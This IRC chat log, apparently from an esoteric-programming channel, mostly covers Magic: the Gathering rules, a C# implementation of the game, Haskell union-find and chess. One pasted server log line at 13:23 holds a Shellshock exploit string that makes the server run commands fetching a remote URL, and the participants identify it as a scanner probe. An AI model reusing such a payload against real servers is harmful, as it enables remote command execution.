00:06:32 <tswett> Hmm. If you interpret the rules excessively literally, an Aura with "Enchant player" can't be played.
00:06:55 <tswett> They say: "Auras that can enchant a player can target and be attached to players." But they don't say that if an Aura has "Enchant player", then it can enchant a player.
00:07:16 <tswett> But wait, maybe that's not true.
00:07:42 <tswett> Maybe there's something else implying that an Aura can enchant a player unless it has an ability saying it can't.
00:10:04 <tswett> I notice that some keyword abilities have specific meanings and others don't. "Flash" has a defined meaning. "Flying" doesn't have any particular meaning; instead, the rules check whether or not something has flying and behaves differently depending.
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00:13:53 <tswett> "Hexproof" has a meaning when it's on a permanent (or a player), but not when it's on a non-permanent card. Presumably it just doesn't do anything at all on non-permanent cards.
00:15:44 <tswett> Oddly, "Indestructible" does not mean "This permanent can't be destroyed." Instead, the rules state that "A permanent with indestructible can't be destroyed."
00:15:52 <tswett> I don't know why they don't just give it that defined meaning.
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00:26:26 <tswett> Y'know, if they were to make a card with no characteristics, I think its behavior would be pretty straightforward.
00:26:51 <tswett> It has no type. It's not a land and it's not a spell. It can't be played. It's colorless and its converted mana cost is 0.
00:29:28 <Sgeo> "We will be down for one hour this Saturday night (early Sunday morning), during the Daylight Savings Time rollback, for routine database maintenance and for investigating a hardware issue on a file server. We'll start at Sun Nov 1, 12:59 am Eastern Daylight Time, and end an hour later around 1:01 am Eastern Standard Time. "
00:29:46 <Sgeo> So, chance of it's that vs. "We're scared of daylight time changes"?
00:30:18 <Sgeo> Also saw malicious ad on Fark
00:34:00 <tswett> I wonder if they tested DST stuff.
00:35:48 <\oren\> wait DST changes on halloween? spooky
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01:37:21 <HackEgo> native/The natives are restless, also armed with sed.
01:37:29 <HackEgo> partial order/A partial order is just a small thin skeletal category.
01:37:38 <HackEgo> grue/grue is the colour of the trees and the ocean
01:37:43 <HackEgo> newline/Newlines are le/rn's \ biggest weakness.
01:38:00 <HackEgo> flower/flower. what IS a flower?
02:16:20 <tswett> For some reason I'm implementing Magic in C#.
02:17:36 <hppavilion[1]> I remember defining something and I can't remember what it was called...
02:17:56 <tswett> `culprits^(-1) hppavilion[1]
02:17:57 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: culprits^(-1): not found
02:18:09 <tswett> Eh, HackEgo doesn't implement command inversion?
02:18:30 <tswett> I'm so angry that I'm going to turn autowelcome off.
02:18:38 <zzo38> I would think that a card with no type should be playable similar to a global enchantment or artifact, which seems a more logical way to me. The rules don't say this though
02:18:44 <hppavilion[1]> And we can't add it, AFAIK, because of file name constraints
02:19:13 <tswett> We can. Linux has almost no filename constraints.
02:19:24 <tswett> A filename can't contain a null or a forward slash. I think that's it.
02:19:33 <tswett> I mean, there's likely a maximum length.
02:19:33 <HackEgo> A mapole is a thwackamacallit built from maple according to Canadian standards. The army version includes a spork, a corkscrew and a moose whistle. A regulatory mapole measures 6' by 12 kg, ±0.5 inHg.
02:20:31 <tswett> zzo38: well, the rules give a mechanism for playing lands, and a mechanism for playing spells, but not a mechanism for playing non-land non-spells.
02:20:42 <tswett> I suppose you could argue that since it's a land, it's a spell even though it doesn't have a spell type.
02:21:09 <tswett> In that case, it's still uncastable, not because it doesn't have a spell type, but because it doesn't have a mana cost, and spells without mana costs are uncastable.
02:21:19 <HackEgo> [wiki] [[User:Hppavilion1/Mapole]] N http://esolangs.org/w/index.php?oldid=45027 * Hppavilion1 * (+437) Created page as part of Hedwig Notta series
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02:23:05 <HackEgo> [wiki] [[User:Hppavilion1/Any Valid ASCII]] N http://esolangs.org/w/index.php?oldid=45028 * Hppavilion1 * (+234) Created Page for later
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02:23:57 <tswett> Any given ability is static, activated, or triggered, but not more than one of these, right?
02:24:03 <hppavilion[1]> So for my 2D RPG engine, I'm trying to decide on some features
02:24:26 <hppavilion[1]> Should the map scripting language be Lua or Python?
02:25:24 <hppavilion[1]> Or I could do both, and even maybe throw in an extra custom language
02:26:55 <tswett> Should it be possible for a map script to perform arbitrary actions on the player's computer?
02:28:20 <hppavilion[1]> Do I have to implement my own Lua, or would PyLua (or whatever) be safe?
02:29:16 <tswett> You certainly shouldn't have to implement your own Lua.
02:29:28 <tswett> I don't know if PyLua or whatever would be safe; check the documentation.
02:34:24 <hppavilion[1]> I think I might also implement Minecraft-esque redstone-and-command-blocks
02:52:43 <tswett> By the way, I've improved the autowelcome tracking script. It should now accurately reflect the actual autowelcome status 100% of the time.
02:56:44 <hppavilion[1]> You managed to save a boolean to file and toggle it. I am in awe.
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03:09:34 <zzo38> tswett: Yes it is still uncastable if it has no mana cost anyways. A land cannot be cast as a spell but other card can be
03:15:07 <zzo38> hppavilion[1]: Maybe the map scripting language should be SQL, and then many thing having to do with save game file you do not need to worry about it can do automatically instead.
03:15:44 <hppavilion[1]> zzo38: Perhaps, but that leads to the problem of SQL not being very easy to use for scripting.
03:16:37 <zzo38> SQLite support authorizer callback and you can define limits, in order to avoid to mess up the computer with it.
03:16:49 <hppavilion[1]> ("Miracles" including things like the fact that SKI and TMs are TC)
03:17:19 <zzo38> And, SQL is even TC if you use a recursive WITH clause; you can (and should) also define your own functions too, one which are specific to use in this case; also with virtual table can also be done define your own to be specific for this use
03:18:53 <hppavilion[1]> The RPG engine is inspired heavily by Minecraft and possibly Terraria (never played it).
03:19:04 <hppavilion[1]> But it's designed specifically for maps to be made in it
03:20:04 <hppavilion[1]> Should I make chunks (which are squares) 8*8 or 16*16
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03:44:38 <tswett> Woohoo, my Magic implementation builds successfully.
03:45:18 <tswett> I've successfully implemented land.
03:45:49 <tswett> Land automatically checks its own subtypes to determine what kind of mana it can produce implicitly.
03:46:01 <tswett> Now, there's no way to USE it.
03:46:13 <tswett> It has an activated ability, with a defined activation cost and resolution effect.
03:46:25 <tswett> But there's no way to actually activate the ability.
03:46:35 <tswett> Or to begin a game in the first place.
03:46:50 <tswett> I mean, there's no user interface at all.
03:47:48 <tswett> I guess my first milestone here will be to implement Forest Magic.
03:49:08 <tswett> The subset of Magic: the Gathering that you end up with when the only legal card is Forest.
03:49:26 <tswett> Under older rules, it would have been possible to win this game without your opponent conceding.
03:49:38 <tswett> Simply convince them to play Forests and tap them for mana a total of 20 times.
03:52:12 <tswett> No, wait, you can still win without your opponent conceding in the current rules.
03:53:11 <tswett> The optimal strategy is to mulligan down to zero, then do whatever the hell you want. Whoever has the smaller library loses. In the event of a tie, the player on the draw loses.
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05:26:58 <Sgeo> If this hour has 22 minutes, then this day has 25 hours.
05:32:09 <oerjan> if 1=2, then bertrand russell is the pope
05:35:59 <Sgeo> If 1+1=3, then 1+1=2
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07:07:44 <oerjan> oh it leaves out just the field
07:21:36 <oerjan> the Show instance for Identity
07:21:58 <lambdabot> newtype Identity a = Identity { runIdentity :: a }
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07:26:08 <shachaf> i think Identity used to have a Show instance that showed the whole thing
07:26:21 <shachaf> or maybe it went straight from no instance to the simple instance
07:26:36 <shachaf> i hope Either never gets a verbose instance like that
07:26:40 <shachaf> that would really come out of Left field
07:38:57 <oerjan> i don't think Either has field names. seeing as ... ... ...
07:39:26 * oerjan connects the swatter to a fan, points at shachaf and starts it -----###
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08:23:29 * pikhq waves "hi" from Switzerland
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08:28:53 <Taneb> pikhq: what are you doing in Switzerland
08:29:38 <pikhq> Getting paid to be here.
08:30:08 <Taneb> Meanwhile, I seem to be helping to run a small hackathon today
08:30:27 <Taneb> For people from Edinburgh
08:30:50 <oerjan> that sounds a little displaced
08:32:42 <Taneb> We invited people from other places too
08:32:49 <Taneb> But only the Edinburgh people showed up
08:32:52 <Taneb> I am going to blame Ph
08:33:12 <Taneb> Who didn't tab complete so I panicked
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08:40:02 <oerjan> your panics seem to be escalating tdnh
08:45:35 <pikhq> Ugh, I'm probably going to crash super soon and have some weird, weird sleep schedule going on.
08:45:53 <HackEgo> [wiki] [[Talk:Hcbf]] http://esolangs.org/w/index.php?diff=45029&oldid=34166 * Rdebath * (+2237) It was a good idea.
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12:23:41 <Taneb> I've written a small Haskell library for disjoint sets (union-find)
12:24:18 <int-e> yay another one :)
12:24:33 <olsner> Taneb: Phantom_Hoover is available for tab-completion now
12:24:40 <Taneb> Phantom_Hoover: I'm blaming you
12:25:36 <Taneb> int-e: I think it does things a little differently than the others
12:26:41 <int-e> Taneb: I can't blame you. I'm the author of one of union-find union-find-array equivalence disjoint-set persistent-equivalence data-partition (that's what I found by a quick search on hackage)
12:27:03 <olsner> pikhq: do they pay you to be in Switzerland or just to not be wherever you were before?
12:27:51 <Taneb> int-e: I do it by being awful and unsafe, with a vector!
12:28:45 <olsner> you should call it awful-unsafe-disjoint-sets
12:29:25 <int-e> (it's one of these data structures with lots of little knobs for tuning... do you annotate nodes? Do you want to keep track of the whole equivalence classes or not? Do you want a mutable version or a persistent one, or perhaps a mutable version with undo capabilities?)
12:31:11 <Taneb> http://arin.ga/IQe0wC
12:31:25 <int-e> And in the ende it's tremendously easy to implement (though I'm sure that there are a couple of pitfalls).
12:32:27 <Taneb> (that was a link to the module I was talking about)
12:32:29 <olsner> hmm, union uses unsafePerformIO, *unsafe*Union does not
12:33:49 <Taneb> unsafeUnion can mess with with pure code
12:33:54 <Taneb> union works on a copy
12:34:39 <olsner> without reading too carefully, if it used ST or something it might actually be pure and safe?
12:35:13 <int-e> no, not really, at least not in conjunction with union
12:35:18 <Taneb> Phantom_Hoover: you weren't around last time I tried to blame you, and you didn't tab-complete
12:35:44 <Taneb> olsner: I believe it's impossible to observe impure behaviour with newDisjointSet, union, and find
12:36:23 <Taneb> They are STILL HERE
12:36:33 <int-e> morally, the M.IOVector DSP is an immutable vector... and unsafeUnion does an unsafeThaw (not sure what's that called for vectors?).
12:37:18 <Taneb> Phantom_Hoover: they say "woo"
12:37:19 <int-e> (assuming that the path compression is not observable)
12:37:30 <Taneb> Phantom_Hoover: apparently they are hungry
12:39:05 <int-e> and that's an interesting question... if several calls to 'find' run concurrently, can they mess up the data structure, one ending up linking a in top of a node b and the other one trying the reverse?
12:39:38 <olsner> Taneb: I think I rather just meant "without unsafePerformIO"
12:40:00 <olsner> (with runST instead, which is pretty much the same thing with a different type, as I understand things)
12:40:48 <Taneb> olsner: hmm, maybe
12:41:53 <int-e> or, easier, what if a call to union 1 2 ds and union 2 1 ds run in parallel, with nodes 1 and 2 of the same rank? the first call will link 1 to 2; the second will link 2 to 1, if the calls are perfectly interleaved.
12:42:38 <Phantom_Hoover> i like how the haskell wiki's syntax higlighting doesn't correctly parse '
12:43:08 <int-e> err, but the array is copied
12:43:24 <int-e> I really need to poke a hole into the path compression if I want to break this code.
12:45:34 <int-e> And I don't think that's possible.
12:45:38 <b_jonas> I think I have non-haskell code for that, in like three languages
12:46:33 <b_jonas> http://www.perlmonks.com/?node_id=764894 a maze generator that uses that kind of thing, I think
12:46:33 <Phantom_Hoover> 'parametrise' is british english, 'parameterize' is american?
12:46:51 <b_jonas> which is in perl, but it's translated from an old program I wrote in C, and I later translated it from perl to ploki
12:46:58 <Taneb> Phantom_Hoover: yes, British English authorities (other than OED) tend to prefer -ise
12:47:01 <int-e> yes, maze generators are the cutest application for disjoint set forests that I know of.
12:47:12 <Taneb> int-e: that was my intention for this afternoon
12:47:30 <Taneb> Phantom_Hoover: oooh
12:49:09 <Phantom_Hoover> i always spelt it parametrise, i was starting to think i'd been getting it wrong
12:49:54 <Taneb> I'd spell it parametrize.
12:50:36 <int-e> Taneb: Ok, so my conclusion is that you're right: The pure interface is fine. But besides interacting with the pure interface, unsafeUnion also has a problem with concurrency.
12:51:17 <Taneb> If only I knew someone who could test concurrent code
12:51:36 <Taneb> I'm in the room with someone who did a talk on that at Haskell Symposium
12:52:37 <izabera> https://www.youtube.com/watch?v=84NwnSltHFo waaa
12:53:31 <int-e> Taneb: I'm sure that my example (merging two nodes of the same rank both ways) works in principle... but triggering it may be quite tedious.
12:58:00 <int-e> izabera: why waaa?
12:58:28 <izabera> it's the first time i've been asked that
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12:58:46 <izabera> half fangirling, half shocked
12:59:29 <izabera> why do you make me think about things
13:00:58 <int-e> I'd say I'm sorry, but it would be a lie.
13:03:11 <fizzie> Shouldn't that sort of utterances have some ~s or something.
13:05:59 <Taneb> izabera: it's impressive seeing people that good at chess
13:06:05 <Taneb> I was wowing the video, not you
13:06:08 <izabera> that's an actual good answer D:
13:06:32 <izabera> i should travel back in time and answer that to int-e
13:06:49 <Taneb> btw, do you know how many people use your pastebin? I find it quite handy
13:07:02 <Phantom_Hoover> you can really see that high-level chess is mostly about recall
13:07:06 <izabera> dunno but i can check the logs
13:07:25 <izabera> Phantom_Hoover: s/chess/everything/
13:07:45 <int-e> Hmm, I did interpret "waaa" as an expression of dismay.
13:08:03 <int-e> so that was wrong.
13:10:18 <izabera> izabera@amazon ~ $ awk '/GET/ { a[$1]++ } END { print length(a) }' /var/log/httpd/access_log*
13:10:22 <izabera> izabera@amazon ~ $ awk '/POST/ { a[$1]++ } END { print length(a) }' /var/log/httpd/access_log*
13:10:53 <int-e> Phantom_Hoover: I'm not sure that's fair. You also have to play well after the first novelty of the game... see attack patterns that appear on the board 3 moves away...
13:12:02 <Phantom_Hoover> int-e, i admit to having only received opinions on chess
13:13:57 <int-e> hmm my awk doesn't like that code...
13:14:10 <izabera> length(array) works in gawk
13:14:21 <int-e> actually... never mind.
13:15:12 <izabera> if pro chess is anything like pro rubiks cube, then it's all pattern recognition
13:16:20 * Taneb has just paied £211.45 for pizza
13:16:25 <Phantom_Hoover> though you could do competitive cubing, where the one who finishes wins...
13:18:04 <izabera> the problem is that there's no winning strategy for one of them
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13:18:45 <izabera> if you use an odd number of moves to scramble the cube, it takes an odd number of moves to solve it
13:18:58 <izabera> one of them has literally no chance of winning
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13:19:14 <b_jonas> izabera: no, neither has a chance to winning
13:19:24 <b_jonas> nobody will turn the cube to one turn from the solved state
13:19:40 <Taneb> b_jonas: one of them can win if the other is an idiot
13:19:54 <Phantom_Hoover> <izabera> if you use an odd number of moves to scramble the cube, it takes an odd number of moves to solve it
13:21:10 <int-e> so many proxy tests...
13:21:49 <Phantom_Hoover> did you read that recent article about infinite chess ordinals
13:22:01 <izabera> i guess it'd be more fun if you allow each player X number of moves
13:22:29 <izabera> let's say 10 moves so you can get to a non trivially close state
13:23:12 <int-e> cute... "GET /cgi-bin/index.cgi HTTP/1.1" 404 386 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget -O /dev/null http://www.testvc.it/TESTONLY; curl -O /dev/null http://www.testvc.it/TESTONLY; fetch http://www.testvc.it/TESTONLY; GET http://www.testvc.it/TESTONLY; lwp-download http://www.testvc.it/TESTONLY; lynx http://www.testvc.it/TESTONLY\");'"
13:23:30 <b_jonas> Phantom_Hoover: http://mathoverflow.net/a/122250/35417
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13:24:16 <b_jonas> izabera: yes, the bash poisioning bug. very popular in http logs these days.
13:24:20 <Phantom_Hoover> i still don't entirely understand this one: http://jdh.hamkins.org/wp-content/uploads/2013/02/Value-omega-squared.jpg
13:24:53 <izabera> oh it's a shellshock test?
13:25:34 <b_jonas> the internet is full of those now
13:25:34 <int-e> izabera: somebody trying to exploit a badly written cgi script... which doesn't exist, but never mind that.
13:25:35 <izabera> i guess i should check for something like that in my logs
13:25:59 <Phantom_Hoover> anyway i don't see how the rook/king arrangement on the right allows black to delay for an unbounded finite amount of time
13:26:14 <int-e> I don't think I have cgi enabled on that host
13:26:18 <b_jonas> int-e: people were always trying to exploit non-existing scripts. including wordpress and other buggy software.
13:26:36 <b_jonas> int-e: sure, but an attacker can't tell that easily.
13:27:01 <int-e> Oh I know, I'm just amused.
13:27:35 <b_jonas> I have such urls in my webserver log too.
13:27:38 <int-e> If I wanted to scan hosts for vulnerabilities I would probably do it the same way... there's no harm in causing 404 errors.
13:28:49 <Phantom_Hoover> if black can just keep checking the white king then the game can go on indefinitely
13:29:04 <Taneb> Phantom_Hoover: nope!
13:29:21 <Taneb> (modern) chess is guaranteed to terminate thanks to some rules about tying
13:29:36 <Taneb> 50 moves without a piece being taken or a pawn moving is a tie
13:29:59 <Phantom_Hoover> oh right ok http://jdh.hamkins.org/tag/infinite-chess/
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13:37:26 <Taneb> I've made an almost identical version of my disjoint set library, except it uses ST
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14:07:59 <Taneb> Hi, fungot! Do you like pizza?
14:07:59 <fungot> Taneb: purpose: set cursor location ( flo) should be called, the
14:08:15 <Taneb> I don't think pizza has a cursor function, fungot...
14:08:15 <fungot> Taneb: a specific way. unfortunately basic isn't fast enough to do rs-232 type things. the formatting must be searched to find a copy of your machine language subroutine located at the end of your equipment.
14:08:41 <b_jonas> pizza is a blessing for every English scrabble player since ZA became an acceptible word
14:09:48 <int-e> fungot: explain "the end of your equipment" please
14:09:48 <fungot> int-e: by using the not is determined by the open routine can be added by the memory of your machine language
14:10:30 <b_jonas> Traditional Chinese culture is even more of a blessing to English scrabble players since QI became an acceptible word, mind you
14:11:45 <fizzie> fungot: Are you written in machine language?
14:11:45 <fungot> fizzie: the file-name already exists, the
14:12:00 <fizzie> fungot: Just say yes or no.
14:12:01 <fungot> fizzie: chip register 24 ( 18) the program above hits line 120 displays the word displayed will be processed when the function definition will use the tab and spc in- structions either change the memory map of useful locations is 4.
14:12:13 <fizzie> The memory map of useful locations is 4.
14:16:54 <b_jonas> fungot, do you write better optimized code than modern compilers?
14:16:54 <fungot> b_jonas: closing an rs-232 open command may specify a character from the direct audio path. setting bit 5 of the number of double-quote marks ( " 0, so only colors 0-7 may be in either the background, and jump through the various flags or the accumulator
14:17:22 <b_jonas> fungot: yes, sounds like a good plan
14:17:22 <fungot> b_jonas: action: the on statement. in order to create the data bus, the chief function is called, the irq output is a one, the
14:19:30 <int-e> fungot: how does being memoryless feel anyway?
14:19:30 <fungot> int-e: bit 6 is set, the low-pass output of voice 3 envelope generator.
14:20:04 <int-e> Hmm, good answer actually.
14:21:49 <Jafet> Phantom_Hoover: the paper explains that the white king can always move diagonally towards the rook giving check, so it ends after a finite (arbitrarily large) time
14:23:03 <Jafet> "white aims ultimately to open the portcullis and release the queens into the mating chamber at right."
14:23:23 <b_jonas> Yes, it's typical esoteric material
14:23:33 <b_jonas> good idea from Phantom_Hoover to bring it up
14:23:44 <int-e> ugh, who will deal with the princesses and princes?
14:35:08 <izabera> http://imgur.com/gallery/UsEVPoM you all need to see this
14:36:01 <lambdabot> uptime: 1m 6d 17h 31m 14s, longest uptime: 1m 10d 23h 44m 29s
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15:44:02 <tswett> More stuff I got wrong. If a creature is destroyed while it has a damage-dealing ability on the stack, it deals the damage anyway. If something "costs (1) more to cast", and you "cast it without paying its mana cost", then you pay (1) to do so.
15:44:46 <tswett> 112.7a, 608.2g, 601.2f, 702.74.
15:47:50 <HackEgo> [wiki] [[TeaScript]] http://esolangs.org/w/index.php?diff=45030&oldid=44923 * Vihan * (-92) /* Removing periods */
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16:27:02 <zzo38> The additional costing (1) more is not part of its mana cost
16:27:18 <zzo38> (Unless something explicitly changes the mana cost, I suppose.)
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16:40:09 <b_jonas> zzo38: I don't think anything changes mana costs by adding or reducing it. Mana costs can be changed by copy effects, object being face down, permanents being transformed, split spells on the stack. None of these can change mana costs to anything but what's already printed to some card,
16:42:33 <b_jonas> so I believe you can never make an object with arbitrarily large mana cost, nor with a mana cost of exactly {GUU} for example.
16:43:23 <b_jonas> and I think you can't have a permanent with the mana cost {GUU} either
16:48:30 <\oren\> can you have a card with cost X and "Pay this card's mana cost using only blue and green mana in a 1:2 ratio."
16:49:53 <\oren\> I know there's a myr that says to cast it using only mana produced by creatures
16:49:59 <zzo38> I don't think there is anything like that, although it would probably be possible; but then it has to be multiple of three (including possibly zero)
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16:55:08 <b_jonas> \oren\: no, but there's some card with "Pay X with black mana only" or some such ability
16:55:40 <b_jonas> (Probably only for black. I can't imagine anything other than black or green insisting on that.)
16:56:03 <b_jonas> It's Consume Spirit, and the phrasing is "Spend only black mana on X."
16:56:06 <HackEgo> [wiki] [[Talk:///]] http://esolangs.org/w/index.php?diff=45031&oldid=35475 * 24.16.138.191 * (+449) /* Clarifying the specs */
16:56:15 <b_jonas> how that works if you reduce the cost I'm not sure
16:57:40 <b_jonas> and I was wrong, it exists in other colors too: Atalya, Samite Master says "Spend only white mana on X."
16:58:25 <b_jonas> it exists for red too, and "only colored mana", and "only black and/or red mana", but not in green
16:59:05 <b_jonas> \oren\: Taste of Paradise requires you to spend an additional {1}{G} any number of times. does that count?
17:03:39 <tswett> \oren\: I might phrase that by giving it a mana cost of XXX and saying "Pay XX with green mana only, and pay the remaining X with blue mana only."
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17:04:36 <b_jonas> tswett: it's usually easier to just say "Multikicker {GGU}" or "You may pay an additional {GGU} any number of times."
17:05:00 <tswett> Yeah, probably a good idea.
17:05:44 <tswett> How about "As you cast this spell, you may pay its mana cost any nonzero number of times"? Mm, Multikicker is probably easier.
17:05:49 <b_jonas> tswett: or whatever that new keyword is that requires to pay an additional cost for each target other than the first
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17:06:24 <zzo38> Yes, just using multikicker.
17:06:33 <b_jonas> Strive, and it's an ability word
17:06:57 <b_jonas> as in on Kiora's Dismissal
17:07:20 <b_jonas> Nature's Panoply has {2G} as the strive cost
17:07:32 <tswett> Ah. In that case, I shouldn't have known that.
17:08:15 <tswett> Ooh, and don't orget Replicate.
17:09:01 <\oren\> I was thinking what if I made a deck with blue and green but not in a 1:1 ratio
17:09:10 <shachaf> You can only strive up to the number of legal targets, though.
17:09:37 <zzo38> Rule 613.1 does not list effects changing the mana cost (although there currently are no such effects anyways)
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17:24:31 <HackEgo> [wiki] [[Talk:///]] http://esolangs.org/w/index.php?diff=45032&oldid=45031 * Tanner Swett * (+445) /* Clarifying the specs */ Response
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17:51:13 <HackEgo> [wiki] [[Talk:Headache]] http://esolangs.org/w/index.php?diff=45033&oldid=44644 * Rdebath * (+192) /* Addition */
17:51:35 <HackEgo> [wiki] [[Headache]] http://esolangs.org/w/index.php?diff=45034&oldid=34688 * Rdebath * (+318) Conversion of brainfuck to headache
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19:09:29 <oerjan> huh stackoverflow actually logged me out
19:09:41 <oerjan> i think that hasn't happened in over a year
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20:28:52 <izabera> https://www.codeeval.com/open_challenges/44/ my solution is scoring 67%, can you help me find what's wrong? http://arin.ga/KEd0BX/raw
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20:45:51 <int-e> izabera: 132 should result in 213 not 312
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21:20:24 <zzo38> Do you know why this program does not work? http://wiki.nesdev.com/w/index.php/User:Zzo38/Famicom_Z-machine
21:20:34 <zzo38> Can you find the mistake?
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21:54:18 <HackEgo> [wiki] [[Hello world program in esoteric languages]] http://esolangs.org/w/index.php?diff=45035&oldid=44874 * Bexandre * (+113)
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22:02:27 <HackEgo> [wiki] [[User:Bexandre/SpeedPL]] http://esolangs.org/w/index.php?diff=45036&oldid=45024 * Bexandre * (+6)
22:15:52 <quintopia> @tell boily you always leave just a scant few hours before i arrive. and you never have any massages.
22:32:16 <tswett> Whoops. I'm representing the creature types of an object as a HashSet. That's not going to work with Changelings.
22:34:08 <tswett> Treating a Changeling as if it had "Advisor Ally Angel Antelope Ape Archer Archon Artificer Assassin Assembly-Worker Atog Aurochs Avatar Badger Barbarian Basilisk Bat Bear Beast Beeble Berserker Bird Blinkmoth Boar Bringer Brushwagg Camarid Camel Caribou Carrier Cat Centaur Cephalid Chimera Citizen Cleric Cockatrice Construct Coward Crab Crocodile Cyclops Dauthi Demon Deserter Devil Djinn Dragon Drake Dreadnought Drone Druid Dryad Dwarf Efreet Elder
22:34:08 <tswett> Eldrazi Elemental Elephant Elf Elk Eye Faerie Ferret Fish Flagbearer Fox Frog Fungus Gargoyle Germ Giant Gnome Goat Goblin God Golem Gorgon Graveborn Gremlin Griffin Hag Harpy Hellion Hippo Hippogriff Homarid Homunculus Horror Horse Hound Human Hydra Hyena Illusion Imp Incarnation Insect Jellyfish Juggernaut Kavu Kirin Kithkin Knight Kobold Kor Kraken Lamia Lammasu Leech Leviathan Lhurgoyf Licid Lizard Manticore Masticore Mercenary Merfolk Metathran
22:34:08 <tswett> Minion Minotaur Monger Mongoose Monk Moonfolk Mutant Myr Mystic Naga Nautilus Nephilim Nightmare Nightstalker Ninja Noggle Nomad Nymph Octopus Ogre Ooze Orb Orc Orgg Ouphe Ox Oyster Pegasus Pentavite Pest Phelddagrif Phoenix Pincher Pirate Plant Praetor Prism Processor Rabbit Rat Rebel Reflection Rhino Rigger Rogue Sable Salamander Samurai Sand Saproling Satyr Scarecrow Scion Scorpion Scout Serf Serpent Shade Shaman Shapeshifter Sheep Siren Skeleton
22:34:08 <tswett> Slith Sliver Slug Snake Soldier Soltari Spawn Specter Spellshaper Sphinx Spider Spike Spirit Splinter Sponge Squid Squirrel Starfish Surrakar Survivor Tetravite Thalakos Thopter Thrull Treefolk Triskelavite Troll Turtle Unicorn Vampire Vedalken Viashino Volver Wall Warrior Weird Werewolf Whale Wizard Wolf Wolverine Wombat Worm Wraith Wurm Yeti Zombie Zubera" printed on it isn't really what I want to do.
22:36:35 <b_jonas> tswett: then make a class and functions that abstract this functionality, by representing an effective set of creature types as either a set of them or the complement set, whichever is more convenient?
22:37:10 <tswett> I figure I'll just represent a creature type as a Func<CreatureType, bool>.
22:37:15 <b_jonas> with all the necessary functions to operate on that set, eg. add a creature type non-destructively, construct an empty set, construct a full set, check membership
22:37:40 <tswett> The type of a function.
22:37:49 <b_jonas> tswett: nope. don't forget that you have to be able to check quickly whether two creatures share a creature type.
22:37:54 <HackEgo> [wiki] [[EsoKit]] N http://esolangs.org/w/index.php?oldid=45037 * Hppavilion1 * (+6554) Created base page.
22:39:04 <tswett> Okay, then. I'll have a class called "CreatureTypeSet".
22:40:00 <b_jonas> tswett: further, there's a subtilty why, even if you don't care about efficiency, you have to treat Woodland Changeling and similar cards as having only Shapeshifter in the type line, despite that they have all creature types at all times:
22:40:46 <b_jonas> the text-changing effect of Artificial Evolution can change a creature type on the type line to another type (even to a type that already appears), but it can't change the types of a Woodland Changeling
22:42:50 <b_jonas> Thus, you have to know about the type line separately.
22:43:17 <tswett> Now, is it possible for a characteristic-defining ability to stop having its effect?
22:43:35 <tswett> Like, can a creature with Devoid lose Devoid, causing it to have the color implied by its mana cost?
22:44:41 <b_jonas> tswett: some characteristic-defining effects that define the p/t of a creature work only on the battlefield
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22:46:29 <b_jonas> tswett: also, anything that overwrites copyable values, namely copy effects, object being face down, object observed in a hidden zone without being revealed, split/flip/transformed cards, can disable the characteristic-defining effect
22:47:10 <b_jonas> tswett: but you can't just have a creature lose devoid like that, because all those effects overwrite the whole text of the card
22:47:17 <tswett> More specific question. Suppose a creature whose mana cost is B and which has Devoid is affected by an effect that says it loses all abilities. Does it become black?
22:48:12 <HackEgo> [wiki] [[EsoKit]] http://esolangs.org/w/index.php?diff=45038&oldid=45037 * Hppavilion1 * (+1086) Fixed a header error, added EsoKit.dev section to primary submodules (forgot about it on the first pass! Whoops!), Libraries section.
22:48:20 <b_jonas> tswett: text-changing effects and splice effects can modify or copy characteristic-defining abilities, but I think nothing you can splice has such an ability so that doesn't matter
22:48:43 <b_jonas> tswett: no, a Humbled devoid creature is still colorless, because of the layering rules
22:49:57 <izabera> i got 100% on that challenge, this is my code http://arin.ga/AfiHfV/raw
22:50:14 <izabera> https://www.codeeval.com/open_challenges/44/ this challenge
22:50:14 <b_jonas> Text-changing can modify a characteristic-defining ability, namely you could artificially evolve a Coiling Woodworm or Darkmoor Sorceress to care about your Islands
22:50:26 <b_jonas> (all Islands on the bf, in the first case)
22:51:00 <b_jonas> Um, not artificially evolve, but whatever those two cards are that can change a land type in text.
22:51:14 <tswett> Now, is it reasonably possible for a creature to have all creature types *except* for one or two?
22:51:31 <b_jonas> tswett: that's a good question. I'm not sure.
22:52:00 <b_jonas> tswett: it's "reasonably possible" in that it might be possible with something they'll print in the future, but I'm not sure if there's already such a card
22:52:12 <b_jonas> tswett: I'm thinking of mostly an effect that removes a specific creature type.
22:52:21 <HackEgo> [wiki] [[EsoKit]] M http://esolangs.org/w/index.php?diff=45039&oldid=45038 * Hppavilion1 * (+142) Added a new EsoKit.ek thing
22:52:28 <b_jonas> It is probably already possible, but I don't know an example off-hand
22:52:29 <tswett> Of course, it's also unreasonably possible, in that you could just add all creature types one by one or something.
22:52:46 <tswett> You know what, that's something that could plausibly happen in a game.
22:52:55 <tswett> Assuming there's actually an effect that adds a creature type.
22:53:39 <tswett> Hmmm... I wonder what to do about the fact that Magic is uncomputable.
22:54:14 <tswett> "Just throw an exception whenever you encounter an uncomputable situation", says the beginning CS student.
22:54:44 <b_jonas> tswett: Mistform Sliver is the more efficient way
22:55:31 <tswett> Now just find yourself an unlimited mana combo and say, "I add all creature types except Wolf to this, in alphabetical order."
22:56:17 <tswett> And hope your opponent doesn't say, "Okay, so are you activating the ability an odd or an even number of times?"
22:56:36 <b_jonas> tswett: even. might repeat some creature types, but who cares.
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22:58:37 <int-e> do you lose the game if you announce that, the opponent asks you to do it step by step, and you then leave out some creature type?
22:59:38 <int-e> (no, of course not, since there's no such rule...)
22:59:56 <int-e> hmm, but perhaps you could make a card
23:00:23 <b_jonas> int-e: you could set up a combo where you win only if your creature has all creature types, probably
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23:01:14 <int-e> hmm, something where your opponent gets to name a creature type, perhaps...
23:01:26 <tswett> Yeah, if your opponent has "Choose a creature type. Destroy target creature that doesn't have that creature type."
23:01:43 <tswett> Hmm. There are two possible wordings of that that are a little different.
23:02:01 <b_jonas> int-e: no, it's quite simple. just have a Lord of Atlantis, you're attacking with a bear with all creature types already added, and your opponent has a Magical Hack he's playing on your lord
23:02:11 <b_jonas> he's on 3 life so you win only if the Lord boosts the bear
23:02:18 <tswett> That one would require you to choose a type when you cast it, and if the creature loses that type, the spell is countered.
23:02:21 <b_jonas> no need to be all taht complicated
23:02:35 <tswett> It could instead say: "Choose a creature type. If target creature doesn't have that creature type, destroy it."
23:02:43 <tswett> Now you choose the creature when you cast it and the type when it resolves.
